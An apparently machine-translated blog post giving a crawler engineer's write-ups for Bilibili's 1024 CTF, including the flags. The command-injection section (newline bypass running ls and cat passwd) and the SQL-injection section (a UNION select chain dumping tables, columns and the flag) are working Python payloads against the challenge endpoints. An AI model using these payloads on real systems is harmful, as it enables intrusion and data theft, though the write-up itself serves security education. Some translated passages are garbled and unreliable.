1
头图

Answer reference

  • Question 1: a1cd5f84-27966146-3776f301-64031bb9
  • Question 2: 36c7a7b4-cda04af0-8db0368d-b5166480
  • Question 3: 9d3c3014-6c6267e7-086aaee5-1f18452a
  • Fourth question: 3d5dd579-0678ef93-18b70cae-cabc5d51
  • Question 5: 516834cc-50e448af-bcf9ed53-9ae4328e
  • Question 6: b13981f4-5ae996d4-bc04be5b-34662a78
  • Question 7 (Part of the IP, 10 points can be scored): bba.ja.cca.beg,bba.ja.ccb.cbc,bbb.bb.bjd.bgc,bbb.bb.bjd.bha,bbb.bb.bjd.bhc,bbb.bb.bjd.bhf,bfh.ff.dj.bcf,bfh.ff.dj.bd,bfh.ff.dj.fb,bfh.ff.dj.ig,bfh.ff.dj.jf,cd.baf.cae.cbc,cd.bb.cai.cbh,cdd.bcc.bg.bib,cde.ced.bbb.dd,dc.bb.ii.jj,jj.bdc.bbb.cc

Recently, I saw that Bilibili launched a 1024 Programmer's Day event. There was a technical competition. The competition was divided into algorithm and security answer and security attack and defense challenge. Among them, there were 7 questions in the security attack and defense challenge. For the topic of APP reverse engineering and decryption, as a crawler engineer, reverse analysis skills are also necessary, so Brother K tried to do two of the reverse-related problems from the perspective of a crawler engineer, and found that reverse engineering is not difficult, share Let me give you some ideas.

(Analyze the security attack and defense problems from the perspective of a crawler engineer, and the Internet security boss should not spray! Some of the problem solving ideas come from the Internet security boss)

01.png


Question 1: Encryption and decryption

For the first question, I gave a string of ciphertexts without any hint. As a crawler engineer, Brother K skillfully opened F12 and looked through the source code. Here is a form form, method="post" , and there is a div with an id of success below. Tag, so I initially suspected that after decrypting the ciphertext, sending a POST request, and then the flag will be displayed under the div tag with the id of success? With an idea, Brother K skillfully flipped through the JS code, because the most crawler encountered was JS encryption, and then found that jQuery and a common.js file were loaded, no matter what the search tags or what, there was nothing. useful information.

02.png

Since there is no JS encryption, it should be a hard decrypted text. Observe that these are two 48-bit ciphertexts, or it may be a 96-bit ciphertext, and there is no special symbol such as ==, then it cannot be The simplest MD5, but K brother still tried it and split it into six 16-bit, three 32-bit combinations, and found that none of them were MD5, so he tried a variety of encryption algorithms, one as KEY and one as secret. The text, or the entire paragraph combined into a ciphertext, does not work with algorithms such as SHA, HMAC, RC4, etc. If you carefully observe the web page, Brother K suspects that this happy_1024_2233 is also part of the encryption? Will it be the salt value (IV value, also called the offset)? Could it be the KEY? As a result of many attempts, finally came to the conclusion:

  • encryption method : AES encryption
  • encryption mode : ECB
  • Filling method : No effect, it's ok
  • Key:happy_1024_2233
  • 96-bit ciphertext : e9ca6f21583a1533d3ff4fd47ddc463c6a1c7d2cf084d3640408abca7deabb96a58f50471171b60e02b1a8dbd32db156
  • output mode : Hex (hexadecimal)

Decryption result (flag): a1cd5f84-27966146-3776f301-64031bb9

For the principles and implementation of various encryption algorithms, you can view K brother’s previous articles: [Crawler knowledge] Common encryption and decryption algorithms for

03.png


Question 2: Front-end configuration items

The flag of the second question is 36c7a7b4-cda04af0-8db0368d-b5166480 , which is in the comments on the home.vue page, as shown in the following figure:

04.png


Question 3: The best language

The third question says that PHP is the best language in the world. I gave eval.php, as shown in the figure:

05.png

The idea of solving this problem comes from the big guy in Internet security. Download eval.php, you can see the regular /^\w+$/ , this can be matched with a newline at the end, and then you can use the Linux command to wrap the line:

06.png

Use the root directory command ls to http://security.bilibili.com/sec1024/q/pro/eval.php?args []=1%0a&args[]=ls:

import requests

url = "http://security.bilibili.com/sec1024/q/pro/eval.php?args[]=1%0a&args[]=ls"
response = requests.get(url=url)
print(response.text)

Return content:

1.txt
passwd
data
config

, so I directly use the Linux command cat passwd to refer to 1617a66a03d87f http://security.bilibili.com/sec1024/q/pro/eval.php?args[]=1%0a&args[] =cat&args[]=passwd Send a GET request:

import requests

url = "http://security.bilibili.com/sec1024/q/pro/eval.php?args[]=1%0a&args[]=cat&args[]=passwd"
response = requests.get(url=url)
print(response.text)

Return flag: 9d3c3014-6c6267e7-086aaee5-1f18452a


Fourth question: SQL injection

The problem-solving idea of this question comes from the network security boss. The URL given is the same as the second question. Find the button on the web page and click the log information to see the log request. You can start with the log api. The packet capture log api is: https ://security.bilibili.com/sec1024/q/admin/api/v1/log/list , bypassing the space filter, try to pass and echo, Python sends POST:

( PS: Pay attention to the change of the user_name field each time you request)

import requests

url = "https://security.bilibili.com/sec1024/q/admin/api/v1/log/list"
json_data = {
    "user_id": "",
    "user_name": "1/**/union/**/select/**/database(),user(),3,4,5",
    "action": "",
    "page": 1,
    "size": 20
}

response = requests.post(url=url, json=json_data)
print(response.text)

Return content:

{
     "code": 200,
     "data": {
          "res_list": [
               {
                    "action": "4",
                    "id": "q",
                    "time": "5",
                    "user_id": "test@10.34.12.128",
                    "user_name": "3"
               }
          ],
          "total": 1
     },
     "msg": ""
}

Get the table name:

import requests

url = "https://security.bilibili.com/sec1024/q/admin/api/v1/log/list"
json_data = {
    "user_id": "",
    "user_name": "1/**/union/**/select/**/database(),user(),3,4,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()#",
    "action": "",
    "page": 1,
    "size": 20
}

response = requests.post(url=url, json=json_data)
print(response.text)

Return content, you can get flag, log, user:

{
     "code": 200,
     "data": {
          "res_list": [
               {
                    "action": "4",
                    "id": "q",
                    "time": "flag,log,user",
                    "user_id": "test@10.34.12.128",
                    "user_name": "3"
               }
          ],
          "total": 1
     },
     "msg": ""
}

Obtain the fields of the flag table, and use hexadecimal to bypass because they cannot be quoted. The flag hexadecimal is 666c6167 :

import requests

url = "https://security.bilibili.com/sec1024/q/admin/api/v1/log/list"
json_data = {
    "user_id": "",
    "user_name": "1/**/union/**/select/**/database(),user(),3,4,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema=database()/**/and/**/table_name=0x666c6167#",
    "action": "",
    "page": 1,
    "size": 20
}

response = requests.post(url=url, json=json_data)
print(response.text)

Return content to get a field, id:

{
     "code": 200,
     "data": {
          "res_list": [
               {
                    "action": "4",
                    "id": "q",
                    "time": "id",
                    "user_id": "test@10.34.12.128",
                    "user_name": "3"
               }
          ],
          "total": 1
     },
     "msg": ""
}

Finally, take the flag directly:

import requests

url = "https://security.bilibili.com/sec1024/q/admin/api/v1/log/list"
json_data = {
    "user_id": "",
    "user_name": "1/**/union/**/select/**/database(),user(),3,4,group_concat(id)/**/from/**/flag#",
    "action": "",
    "page": 1,
    "size": 20
}

response = requests.post(url=url, json=json_data)
print(response.text)

The returned content 3d5dd579-0678ef93-18b70cae-cabc5d51 is flag:

{
     "code": 200,
     "data": {
          "res_list": [
               {
                    "action": "4",
                    "id": "q",
                    "time": "3d5dd579-0678ef93-18b70cae-cabc5d51",
                    "user_id": "test@10.34.12.128",
                    "user_name": "3"
               }
          ],
          "total": 1
     },
     "msg": ""
}

Question 5: APP Reverse

The fifth question is an Android reverse question, as shown in the figure:

07.png

Throw it to the emulator and have a look. It is probably to enter the account password. If it is wrong, it will prompt "a little bit~~". If it is correct, you should be able to get the flag.

08.png

Just throw the apk into JADX and have a look, there is no confusion, the code is clear at a glance, especially this Encrypt is the most conspicuous:

09.png

10.png

Analysis code: In MainActivity.java, enter the account password and assign it to obj and obj2, and then call the method in Encrypt.java to perform bitwise XOR 3 operation and base64 encoding, and then use the Arrays.equals method to correct the processed account password Compare the account and password of the account, and output bilibili- (゜- ゜)つロ Cheers~. It’s not very complicated. You can use Java to reproduce, or you can use Python to reverse the correct account and password. When using Python to reproduce, you must Note that the correct account and password given are two byte arrays in Java. There is no concept of byte arrays in Python. Python and Java have different byte ranges. Python3 is 0~256 and Java is -127~128 , so Pay attention to the need to move 256 bits when converting. Python deduces the complete code as follows:

import base64

byte_arr1 = [78, 106, 73, 49, 79, 122, 65, 51, 89, 71, 65, 117, 78, 106, 78, 109, 78, 122, 99, 55, 89, 109, 85, 61]
byte_arr2 = [89, 87, 66, 108, 79, 109, 90, 110, 78, 106, 65, 117, 79, 109, 74, 109, 78, 122, 65, 120, 79, 50, 89, 61]

byte_arr1_ = bytes(b % 256 for b in byte_arr1)
byte_arr2_ = bytes(b % 256 for b in byte_arr2)

bs64_arr1 = base64.b64decode(byte_arr1_)
bs64_arr2 = base64.b64decode(byte_arr2_)

username = password = ""

for i in range(len(bs64_arr1)):
    username += chr(bs64_arr1[i] ^ 3)

for i in range(len(bs64_arr2)):
    password += chr(bs64_arr2[i] ^ 3)

print("username: ", username)
print("password: ", password)
print("flag: ", username + "-" + password)

Output:

username:  516834cc-50e448af
password:  bcf9ed53-9ae4328e
flag:  516834cc-50e448af-bcf9ed53-9ae4328e

Enter the account password in the simulator APP to test successfully:

11.png


Sixth question: IDA reverse SO

Although the fifth and sixth questions are the same, the flags are different. The sixth question needs to reverse SO, which will verify the abi and system version, rebuild.prop, ro.product.cpu.abi to x86, ro.build .version.release is 9, and then create /data/2233, a group of 4 bytes will become flag: b13981f4-5ae996d4-bc04be5b-34662a78


Question 7: Risk control of malicious IP

12.png

The last question is to find all the malicious IPs and submit them by separating them into a string with English commas. The system will calculate the scores based on the correct number of IPs submitted. I don’t know how to judge this question. Brother K tried to use Python to convert all of them. After the IP is extracted, put it in Excel to find the IP with too many repeats:

bba.ja.cca.beg,bba.ja.ccb.cbc,bbb.bb.bjd.bgc,bbb.bb.bjd.bha,bbb.bb.bjd.bhc,bbb.bb.bjd.bhf,bfh.ff.dj.bcf,bfh.ff.dj.bd,bfh.ff.dj.fb,bfh.ff.dj.ig,bfh.ff.dj.jf,cd.baf.cae.cbc,cd.bb.cai.cbh,cdd.bcc.bg.bib,cde.ced.bbb.dd,dc.bb.ii.jj,jj.bdc.bbb.cc

This answer only got 10 points. In fact, as long as there is a correct one, it is 10 points. The full score is 20 points. There may be wrong or few points. This question is definitely not that simple, and other judgment methods must be used, such as Judge UA, Path, Referer, multiple accesses of the same UA with different IP, etc. , if you have ideas, you can comment on it.


Summarize

Some questions are relatively simple, but there are no hints. Like the first question, you need to be proficient in various encryption algorithms to quickly infer the encryption method, otherwise you can only try one by one, and the remaining questions require a certain amount of network security knowledge. Now, every reptile boss can also try it.



K哥爬虫
166 声望141 粉丝

Python网络爬虫、JS 逆向等相关技术研究与分享。